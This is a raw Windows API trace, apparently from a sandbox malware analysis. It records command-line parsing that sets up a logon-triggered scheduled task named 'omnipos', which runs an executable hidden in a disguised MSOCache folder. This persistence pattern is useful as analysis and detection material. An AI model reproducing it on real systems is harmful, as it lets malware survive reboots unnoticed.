[0115.016] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x8) returned 0x29464743980 [0115.016] GetProcessHeap () returned 0x29464740000 [0115.016] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x2946474ba80 [0115.016] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.016] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.016] lstrlenW (lpString="omnipos") returned 7 [0115.016] lstrlenW (lpString="-/") returned 2 [0115.016] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0115.016] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.016] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.016] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.016] lstrlenW (lpString="omnipos") returned 7 [0115.016] StrChrIW (lpStart="omnipos", wMatch=0x3a) returned 0x0 [0115.016] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.016] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.016] lstrlenW (lpString="omnipos") returned 7 [0115.016] GetProcessHeap () returned 0x29464740000 [0115.016] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x10) returned 0x2946474a9f0 [0115.016] GetProcessHeap () returned 0x29464740000 [0115.016] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x2946474b4b0 [0115.016] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.016] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.016] lstrlenW (lpString="/sc") returned 3 [0115.016] lstrlenW (lpString="-/") returned 2 [0115.016] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0115.016] lstrlenW (lpString="?") returned 1 [0115.016] lstrlenW (lpString="?") returned 1 [0115.016] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.017] lstrlenW (lpString="sc") returned 2 [0115.017] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.017] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|?|") returned 3 [0115.017] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|sc|") returned 4 [0115.017] lstrlenW (lpString="|?|") returned 3 [0115.017] lstrlenW (lpString="|sc|") returned 4 [0115.017] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.017] lstrlenW (lpString="create") returned 6 [0115.017] lstrlenW (lpString="create") returned 6 [0115.017] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.017] lstrlenW (lpString="sc") returned 2 [0115.017] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.017] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|create|") returned 8 [0115.017] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|sc|") returned 4 [0115.017] lstrlenW (lpString="|create|") returned 8 [0115.017] lstrlenW (lpString="|sc|") returned 4 [0115.017] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0115.017] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.017] lstrlenW (lpString="delete") returned 6 [0115.017] lstrlenW (lpString="delete") returned 6 [0115.017] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.017] lstrlenW (lpString="sc") returned 2 [0115.017] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.017] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|delete|") returned 8 [0115.017] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|sc|") returned 4 [0115.017] lstrlenW (lpString="|delete|") returned 8 [0115.017] lstrlenW (lpString="|sc|") returned 4 [0115.018] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0115.018] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.018] lstrlenW (lpString="query") returned 5 [0115.018] lstrlenW (lpString="query") returned 5 [0115.018] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.018] lstrlenW (lpString="sc") returned 2 [0115.018] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.018] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x8, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|query|") returned 7 [0115.018] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|sc|") returned 4 [0115.018] lstrlenW (lpString="|query|") returned 7 [0115.018] lstrlenW (lpString="|sc|") returned 4 [0115.018] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0115.018] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.018] lstrlenW (lpString="change") returned 6 [0115.018] lstrlenW (lpString="change") returned 6 [0115.018] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.018] lstrlenW (lpString="sc") returned 2 [0115.018] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.018] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|change|") returned 8 [0115.018] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|sc|") returned 4 [0115.018] lstrlenW (lpString="|change|") returned 8 [0115.018] lstrlenW (lpString="|sc|") returned 4 [0115.018] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0115.018] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.018] lstrlenW (lpString="run") returned 3 [0115.018] lstrlenW (lpString="run") returned 3 [0115.018] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.018] lstrlenW (lpString="sc") returned 2 [0115.019] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.019] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|run|") returned 5 [0115.019] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|sc|") returned 4 [0115.019] lstrlenW (lpString="|run|") returned 5 [0115.019] lstrlenW (lpString="|sc|") returned 4 [0115.019] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0115.019] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.019] lstrlenW (lpString="end") returned 3 [0115.019] lstrlenW (lpString="end") returned 3 [0115.019] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.019] lstrlenW (lpString="sc") returned 2 [0115.019] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.019] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|end|") returned 5 [0115.019] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|sc|") returned 4 [0115.019] lstrlenW (lpString="|end|") returned 5 [0115.019] lstrlenW (lpString="|sc|") returned 4 [0115.019] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0115.019] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.019] lstrlenW (lpString="showsid") returned 7 [0115.019] lstrlenW (lpString="showsid") returned 7 [0115.019] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.019] lstrlenW (lpString="sc") returned 2 [0115.019] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.019] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0xa, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|showsid|") returned 9 [0115.019] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|sc|") returned 4 [0115.019] lstrlenW (lpString="|showsid|") returned 9 [0115.019] lstrlenW (lpString="|sc|") returned 4 [0115.020] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0115.020] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.020] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.020] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.020] lstrlenW (lpString="/sc") returned 3 [0115.020] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0115.020] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.020] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.020] lstrlenW (lpString="/sc") returned 3 [0115.020] GetProcessHeap () returned 0x29464740000 [0115.020] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x8) returned 0x294647439a0 [0115.020] GetProcessHeap () returned 0x29464740000 [0115.020] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x2946474b750 [0115.020] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.020] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.020] lstrlenW (lpString="ONLOGON") returned 7 [0115.020] lstrlenW (lpString="-/") returned 2 [0115.020] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0115.020] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.020] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.020] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.020] lstrlenW (lpString="ONLOGON") returned 7 [0115.020] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0115.020] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.020] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.020] lstrlenW (lpString="ONLOGON") returned 7 [0115.020] GetProcessHeap () returned 0x29464740000 [0115.020] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x10) returned 0x2946474ac10 [0115.020] GetProcessHeap () returned 0x29464740000 [0115.020] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x2946474b660 [0115.020] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.020] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.020] lstrlenW (lpString="/tr") returned 3 [0115.021] lstrlenW (lpString="-/") returned 2 [0115.021] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0115.021] lstrlenW (lpString="?") returned 1 [0115.021] lstrlenW (lpString="?") returned 1 [0115.021] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.021] lstrlenW (lpString="tr") returned 2 [0115.021] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.021] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|?|") returned 3 [0115.021] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|tr|") returned 4 [0115.021] lstrlenW (lpString="|?|") returned 3 [0115.021] lstrlenW (lpString="|tr|") returned 4 [0115.021] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.021] lstrlenW (lpString="create") returned 6 [0115.021] lstrlenW (lpString="create") returned 6 [0115.021] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.021] lstrlenW (lpString="tr") returned 2 [0115.021] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.021] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|create|") returned 8 [0115.021] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|tr|") returned 4 [0115.021] lstrlenW (lpString="|create|") returned 8 [0115.021] lstrlenW (lpString="|tr|") returned 4 [0115.021] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0115.021] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.021] lstrlenW (lpString="delete") returned 6 [0115.022] lstrlenW (lpString="delete") returned 6 [0115.022] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.022] lstrlenW (lpString="tr") returned 2 [0115.022] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.022] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|delete|") returned 8 [0115.022] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|tr|") returned 4 [0115.022] lstrlenW (lpString="|delete|") returned 8 [0115.022] lstrlenW (lpString="|tr|") returned 4 [0115.022] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0115.022] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.022] lstrlenW (lpString="query") returned 5 [0115.022] lstrlenW (lpString="query") returned 5 [0115.022] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.022] lstrlenW (lpString="tr") returned 2 [0115.022] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.022] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x8, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|query|") returned 7 [0115.022] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|tr|") returned 4 [0115.022] lstrlenW (lpString="|query|") returned 7 [0115.022] lstrlenW (lpString="|tr|") returned 4 [0115.022] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0115.022] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.022] lstrlenW (lpString="change") returned 6 [0115.022] lstrlenW (lpString="change") returned 6 [0115.022] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.023] lstrlenW (lpString="tr") returned 2 [0115.023] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.023] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|change|") returned 8 [0115.023] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|tr|") returned 4 [0115.023] lstrlenW (lpString="|change|") returned 8 [0115.023] lstrlenW (lpString="|tr|") returned 4 [0115.023] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0115.023] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.023] lstrlenW (lpString="run") returned 3 [0115.023] lstrlenW (lpString="run") returned 3 [0115.023] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.023] lstrlenW (lpString="tr") returned 2 [0115.023] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.023] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|run|") returned 5 [0115.023] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|tr|") returned 4 [0115.023] lstrlenW (lpString="|run|") returned 5 [0115.023] lstrlenW (lpString="|tr|") returned 4 [0115.023] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0115.023] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.023] lstrlenW (lpString="end") returned 3 [0115.023] lstrlenW (lpString="end") returned 3 [0115.023] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.023] lstrlenW (lpString="tr") returned 2 [0115.023] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.023] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|end|") returned 5 [0115.023] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|tr|") returned 4 [0115.023] lstrlenW (lpString="|end|") returned 5 [0115.023] lstrlenW (lpString="|tr|") returned 4 [0115.024] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0115.024] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.024] lstrlenW (lpString="showsid") returned 7 [0115.024] lstrlenW (lpString="showsid") returned 7 [0115.024] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.024] lstrlenW (lpString="tr") returned 2 [0115.024] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.024] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0xa, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|showsid|") returned 9 [0115.024] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|tr|") returned 4 [0115.024] lstrlenW (lpString="|showsid|") returned 9 [0115.024] lstrlenW (lpString="|tr|") returned 4 [0115.024] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0115.024] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.024] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.024] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.024] lstrlenW (lpString="/tr") returned 3 [0115.024] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0115.024] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.024] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.024] lstrlenW (lpString="/tr") returned 3 [0115.024] GetProcessHeap () returned 0x29464740000 [0115.024] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x8) returned 0x29464744720 [0115.024] GetProcessHeap () returned 0x29464740000 [0115.024] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x2946474bae0 [0115.024] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.024] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.024] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0115.024] lstrlenW (lpString="-/") returned 2 [0115.024] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0115.024] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.024] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.025] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.025] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0115.025] StrChrIW (lpStart="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'", wMatch=0x3a) returned=":\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'" [0115.025] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0115.025] GetProcessHeap () returned 0x29464740000 [0115.025] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x18) returned 0x2946474ab70 [0115.025] _memicmp (_Buf1=0x2946474ab70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.025] GetProcessHeap () returned 0x29464740000 [0115.025] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0xe) returned 0x2946474ac50 [0115.025] GetProcessHeap () returned 0x29464740000 [0115.025] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x18) returned 0x2946474aa90 [0115.025] _memicmp (_Buf1=0x2946474aa90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.025] GetProcessHeap () returned 0x29464740000 [0115.025] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x9c) returned 0x29464744740 [0115.025] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.025] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.025] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.025] lstrlenW (lpString="'C") returned 2 [0115.025] lstrlenW (lpString="-/") returned 2 [0115.025] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0115.025] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.025] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.025] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.025] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0115.025] GetProcessHeap () returned 0x29464740000 [0115.025] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x9a) returned 0x29464743ba0 [0115.025] GetProcessHeap () returned 0x29464740000 [0115.025] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x2946474b690 [0115.025] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.025] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.025] lstrlenW (lpString="/rl") returned 3 [0115.025] lstrlenW (lpString="-/") returned 2 [0115.026] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0115.026] lstrlenW (lpString="?") returned 1 [0115.026] lstrlenW (lpString="?") returned 1 [0115.026] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.026] lstrlenW (lpString="rl") returned 2 [0115.026] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.026] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|?|") returned 3 [0115.026] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|rl|") returned 4 [0115.026] lstrlenW (lpString="|?|") returned 3 [0115.026] lstrlenW (lpString="|rl|") returned 4 [0115.026] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.026] lstrlenW (lpString="create") returned 6 [0115.026] lstrlenW (lpString="create") returned 6 [0115.026] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.026] lstrlenW (lpString="rl") returned 2 [0115.026] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.026] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|create|") returned 8 [0115.026] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|rl|") returned 4 [0115.026] lstrlenW (lpString="|create|") returned 8 [0115.026] lstrlenW (lpString="|rl|") returned 4 [0115.026] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0115.026] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.026] lstrlenW (lpString="delete") returned 6 [0115.026] lstrlenW (lpString="delete") returned 6 [0115.026] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.026] lstrlenW (lpString="rl") returned 2 [0115.026] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.027] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|delete|") returned 8 [0115.027] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|rl|") returned 4 [0115.027] lstrlenW (lpString="|delete|") returned 8 [0115.027] lstrlenW (lpString="|rl|") returned 4 [0115.027] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0115.027] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.027] lstrlenW (lpString="query") returned 5 [0115.027] lstrlenW (lpString="query") returned 5 [0115.027] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.027] lstrlenW (lpString="rl") returned 2 [0115.027] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.027] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x8, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|query|") returned 7 [0115.027] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|rl|") returned 4 [0115.027] lstrlenW (lpString="|query|") returned 7 [0115.027] lstrlenW (lpString="|rl|") returned 4 [0115.027] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0115.027] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.027] lstrlenW (lpString="change") returned 6 [0115.027] lstrlenW (lpString="change") returned 6 [0115.027] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.027] lstrlenW (lpString="rl") returned 2 [0115.027] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.027] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|change|") returned 8 [0115.027] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|rl|") returned 4 [0115.027] lstrlenW (lpString="|change|") returned 8 [0115.028] lstrlenW (lpString="|rl|") returned 4 [0115.028] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0115.028] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.028] lstrlenW (lpString="run") returned 3 [0115.028] lstrlenW (lpString="run") returned 3 [0115.028] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.028] lstrlenW (lpString="rl") returned 2 [0115.028] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.028] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|run|") returned 5 [0115.028] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|rl|") returned 4 [0115.028] lstrlenW (lpString="|run|") returned 5 [0115.028] lstrlenW (lpString="|rl|") returned 4 [0115.028] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0115.028] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.028] lstrlenW (lpString="end") returned 3 [0115.028] lstrlenW (lpString="end") returned 3 [0115.028] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.028] lstrlenW (lpString="rl") returned 2 [0115.028] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.028] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|end|") returned 5 [0115.028] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|rl|") returned 4 [0115.028] lstrlenW (lpString="|end|") returned 5 [0115.028] lstrlenW (lpString="|rl|") returned 4 [0115.029] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0115.029] 